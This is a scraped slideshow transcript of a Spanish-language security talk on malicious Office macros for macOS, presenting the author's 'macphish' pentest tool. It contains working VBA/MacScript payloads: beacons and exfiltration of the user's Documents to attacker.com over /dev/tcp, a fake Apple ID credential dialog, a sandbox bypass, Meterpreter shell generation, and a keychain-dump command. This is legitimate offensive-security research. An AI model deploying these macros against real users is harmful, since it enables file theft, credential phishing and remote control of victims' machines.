Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Old fox new tricks malicious macros are back

927 views

Published on

Macros de Office maliciosos para MacOS/OSX por Paulino Calderon (@calderpwn)

Published in: Internet
  • Be the first to comment

  • Be the first to like this

Old fox new tricks malicious macros are back

  1. 1. Old fox, new tricks – Malicious OSX/MacOS macros are back Paulino Calderon <@calderpwn> calderon@websec.mx - http://calderonpale.com - http://websec.mx
  2. 2. $whoami • Pruebas de Penetración, Análisis de Vulnerabilidades, Revisión de Código Fuente y Pruebas de Ingeniería Social en Websec (http://websec.mx/). • Autor de libros con PacktPub (https://www.packtpub.com) y cursos en línea con Pluralsight (https://www.pluralsight.com). • Me gusta desarrollar software libre, experimentar con tecnologías nuevas y buscar vulnerabilidades en software. • Chapter leader de OWASP Riviera Maya
  3. 3. Un día nuestro objetivo era una empresa de marketing…
  4. 4. ¿De qué vamos a hablar hoy? • Ataques con macros maliciosos para Mac (OSX/MacOS) ”in the wild”. • Vectores de ataques en Office 2011. • Nuevos vectores de ataque contra Office 2016 que funcionan a pesar de las protecciones del sandbox. • Macphish – Nueva herramienta para generar macros para Mac para pruebas de ingeniería social.
  5. 5. U.S. Allies and Rivals Digest Trump's Victory – Carnegie Endowment for International Peace.docm • Descubierto en Febrero 2017. • Al ejecutarse el macro malicioso: • Verificaba que Little Snitch no estuviera ejecutándose. • Descargaba Stager de EmPyre. • Atacantes tenían acceso a todos los módulos de EmPyre. • Patrick Wardle publicó un análisis en su sitio web. -> https://objective-see.com/blog/blog_0x17.html • Interesante pero este ataque no funciona si el usuario usa Office 2016.
  6. 6. Un poco de historia… • Office 2008 for Mac mitigaba los macros maliciosos totalmente… al no soportar VBA. • En Office 2011 for Mac vuelven a soportar VBA macros. • Debido a los serios problemas de seguridad, Office 2016 for Mac ahora se ejecuta en un App Sandbox. • Aunque los usuarios ejecuten el macro, ¡ya no podemos acceder a archivos de usuario/sistema! … ¿O sí?
  7. 7. Versiones de Office en uso en la actualidad Office 2016Office 2011
  8. 8. Office 2011 vs Office 2016
  9. 9. Macros en OSX/MacOS • Deben guardarse en un archivo .docm. • Requieren interacción del usuario. • No se puede configurar Office para que automáticamente no ejecute macros: • O ejecuta automáticamente todos los macros. • O te pregunta cada vez que abres un macro.
  10. 10. Macros multiplataforma •Condicionales en Office nos permiten crear macros multiplataforma y detectar la versión de Office. •”If Mac” disponible desde Office 2011. •MAC_OFFICE_VERSION desde Office 2016.
  11. 11. Macros multiplataforma
  12. 12. Ejecución de código malicioso con System() • En OSX/MacOS es posible ejecutar código malicioso utilizando la función System() de libc.dylib.
  13. 13. Problemas utilizando System() • Está técnica presenta ciertas desventajas: • Requiere soportar ambas versiones (32/64 bits). • No funciona en todos los sistemas.
  14. 14. Abusando Macscript • La función de VBA Macscript() fue diseñada para ejecutar scripts Applescript en documentos de Mac. • Deprecada pero aún funciona en Office 2016. • Office 2016 requiere que los scripts sean colocados en una carpeta específica. Esto principalmente para evitar que macros descarguen scripts adicionales y los ejecuten. • Sin embargo, es posible abusar Macscript para ejecutar binarios del sistema. • Ojo: No todos los binarios son permitidos.
  15. 15. Ejecutando binarios con Macscript Sub AutoOpen() MacScript ("do shell script ""<binary>"" ") End Sub
  16. 16. No todos los binarios son iguales • Office 2016 no permite la ejecución de cualquier binario. Sin embargo, podemos invocar: • Utilidades: curl, tar, xxd, ping, nslookup y osascript. • Interpretes de programación: Python, Ruby, Perl. • Si el binario no está permitido, el sistema regresa este error:
  17. 17. Abusando utilidades de sistema Phone Home Utilidades clásicas como ping o curl pueden ser utilizadas como beacons de notificación. Sub AutoOpen() MacScript ("do shell script ""ping -c 1 attacker.com"" ") End Sub
  18. 18. Abusando utilidades de sistema Exfiltrando datos de usuario Además tenemos acceso a sockets directamente: /dev/tcp/atacante.com/443 Entonces también podemos comprimir la carpeta de Documentos de usuario y enviarnosla: Sub AutoOpen() MacScript ("do shell script ""tar zcf - ~/Documents | xxd -p >/dev/tcp/attacker.com/443"" ") End Sub
  19. 19. Abusando osascript • Osascript es una utilidad disponible en todas las Macs que sirve para ejecutar scripts en Applescript. • A pesar de que eventos de sistema están bloqueados, tenemos acceso a funcionalidad para crear diálogos, acceder al portapapeles y obtener información del sistema.
  20. 20. Phishing de credenciales con osascript Podemos utilizar diálogos para engañar a usuarios a que introduzcan sus credenciales y las enviamos utilizando alguna de las técnicas descritas anteriormente.
  21. 21. Phishing de credenciales con Macscript MacScript("do shell script ""/usr/bin/osascript -e 'display dialog ""Microsoft Word requiere de tu contraseña de tu Apple ID para descifrar el archivo"" & return & return default answer """" with icon file ""Applications:Utilities:Keychain Access.app:Contents:Resources:AppIcon.icns"" with hidden answer with title ""Microsoft Word""'""")
  22. 22. https://drive.google.com/open?id=0BzPR8exG0kt6WWUzU0tKUjFhdjg VIDEO
  23. 23. Phishing de credenciales con osascript • Funciona en Office 2011/2016. • Localmente también puede ser ejecutado: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html • Ahora también implementado en otras herramientas: • Bash Bunny https://github.com/hak5/bashbunny- payloads/tree/master/payloads/library/phishing/MacPhish • EmPyre https://medium.com/@malcomvetter/multi-platform-macro- phishing-payloads-3b688e8eff68
  24. 24. Phishing de credenciales con osascript • Se puede personalizar los diálogos con íconos de aplicaciones en el sistema. • Applications:Utilities:Keychain Access.app:Contents:Resources:AppIcon.icns
  25. 25. Abusando de los interpretes de lenguajes de programación Podemos ejecutar código utilizando interpretes de lenguajes de programación (Python/Ruby/Perl): Sub AutoOpen() MacScript ("do shell script ""python -c <payload>"" ") End Sub
  26. 26. Abusando de los interpretes de lenguajes de programación
  27. 27. https://drive.google.com/open?id=0BzPR8exG0kt6TlY1UWhiemVKRnc VIDEO
  28. 28. Atacando Office 2011 for Mac Persistencia cronjob Dylib-hijack Launch daemon Login hook Exfiltración Curl/wget Tar/xxd TCP sockets C&C EmPyre Meterpreter Phishing osascript VBA
  29. 29. Macros para Office 2016 • El sandbox de Office 2016 bloquea el acceso a cualquier recurso no definido en las políticas de seguridad. • Aunque los usuarios habiliten la ejecución de macros, la mayoría de malware no va a funcionar en Office 2016. • No se conocían vectores de ataque que funcionaran contra Office 2016.
  30. 30. El sandbox de Office 2016 ¿Qué podemos hacer si nos enfrentamos a usuarios con Office 2016?
  31. 31. Abusando de GrantAccessToMultipleFiles • Office 2016 introdujo un par de funciones nuevas entre ellas GrantAccessToMultipleFiles(). • GrantAccessToMultipleFiles recibe un arreglo de archivos en el sistema y solicita permisos de acceso. • ¡La documentación no dice nada de que carpetas también son soportadas! ¿Para qué solicitar individualmente acceso a archivos si le podemos pedir acceso a toda la carpeta? • One shot: Solo tenemos una oportunidad porque la selección del usuario es guardada para siempre. • Esto tiene muchas implicaciones de las cuales hablaremos más adelante.
  32. 32. Abusando de GrantAccessToMultipleFiles
  33. 33. Abusando de GrantAccessToMultipleFiles Sub AutoOpen() GrantAccessToMultipleFiles(”/Users/<usuario>/Documents”) MacScript ("do shell script ""python -c <payload>"" ") End Sub
  34. 34. https://drive.google.com/open?id=0BzPR8exG0kt6VzlaWVVJdEtNR0k VIDEO
  35. 35. Abusando GrantAccessToMultipleFiles Permisos globales Debido a que el dialogo se presenta una sola vez y los permisos son asignados para siempre: • Si el usuario otorga los permisos, cualquier macro que se ejecute en el sistema tendrá acceso a esos archivos. Si los usuarios ya habían permitido a un macro legitimo acceder a estos archivos, nuestro macro malicioso también tendría acceso a esos archivos.
  36. 36. https://drive.google.com/open?id=0BzPR8exG0kt6SnJwM01KSzAzMjA VIDEO
  37. 37. Abusando GrantAccessToMultipleFiles Denegación de Servicio Permanente (DoS) • Si el usuario no otorga los permisos, macros legítimos no podrán acceder a esos archivos posteriormente. • No existe una interfaz para administrar estos permisos. La respuesta de la primera petición se usa para siempre. • Posible Denegación de Servicio permanente.
  38. 38. Preparando los payloads maliciosos • Payload script en Applescript debe ser escapado para ejecutarse inline a través de osascript. Debemos considerar VBA escaping también. • GrantAccessToMultipleFiles requiere saber la ruta completa al directorio del usuario objetivo. (Cambia de objetivo a objetivo) • La ruta también la podemos obtener abusando de osascript
  39. 39. Macphish – Generador de macros maliciosos para pruebas de ingeniería social https://github.com/cldrn/macphish
  40. 40. Macphish • Genera scripts en Applescript para pruebas de ingeniería social. • Plantillas de macros multiplataforma. • Nombres de funciones aleatorios. • Payloads de meterpreter y Empyre (*). • Configuración automática de entorno de usuario. https://github.com/cldrn/macphish
  41. 41. Macphish - Beacon • Payload no malicioso que simplemente envía señal a casa sobre su ejecución. (”Phone home”) • Útil para estadísticas sobre ejecución de macros. • Funciona en Office 2011 y Office 2016. https://github.com/cldrn/macphish
  42. 42. $./macphish.py –a beacon –lh <host> https://github.com/cldrn/macphish
  43. 43. Macphish - Creds • Payload para intentar obtener credenciales locales de usuarios. • Utiliza funcionalidad de diálogos de osascript para realizar el ataque de phishing. • Funciona en Office 2011 y Office 2016. https://github.com/cldrn/macphish
  44. 44. $./macphish.py –a creds -m –lh <host> https://github.com/cldrn/macphish
  45. 45. Macphish - Meterpreter • Payload para obtener shell de meterpreter en víctimas. • Utiliza payloads en python. • Funciona en Office 2011 sin restricciones. • Office 2016 quedamos dentro del sandbox -> https://github.com/cldrn/macphish
  46. 46. $./macphish.py –a meterpreter –lh <host> -lp <port> -m https://github.com/cldrn/macphish
  47. 47. Macphish – Meterpreter c/ GrantAccessToMultipleFiles() • Payload para solicitar permisos a los Documentos de usuarios antes de ejecutar una shell de meterpreter. • En Office 2016 saltamos el sandbox si: • La víctima autoriza (o autorizó a otro archivo) el acceso a los documentos. • El documento se encuentra dentro de la ruta que solicita. (*) https://github.com/cldrn/macphish
  48. 48. $./macphish.py –a meterpreter-grant –lh <host> -lp <port> -m https://github.com/cldrn/macphish
  49. 49. https://drive.google.com/open?id=0BzPR8exG0kt6TDJ5OGt6LVNLT28 VIDEO
  50. 50. Ideas adicionales • Automatizar la persistencia. • Elevación de privilegios a través de vulnerabilidades del sistema. • Dumpeo de contraseñas a través del keychain. • MacScript("do shell script ""security dump-keychain -d login.keychain"" ")
  51. 51. Ligas • Documentación de macphish https://github.com/cldrn/macphish/wiki • Websec: http://websec.mx/blog/ver/mac-macros-y-macphish • App Sandbox: https://developer.apple.com/library/content/documentation/Security/Conceptual/AppSandbox DesignGuide/AboutAppSandbox/AboutAppSandbox.html • VBA improvements in Office 2016: https://dev.office.com/blogs/VBA-improvements-in-Office-2016 • Credential phishing in Empyre: https://medium.com/@malcomvetter/multi-platform-macro-phishing-payloads- 3b688e8eff68
  52. 52. ¡Gracias! ¿Preguntas? Paulino Calderon <@calderpwn> calderon@websec.mx - http://calderonpale.com - http://websec.mx

×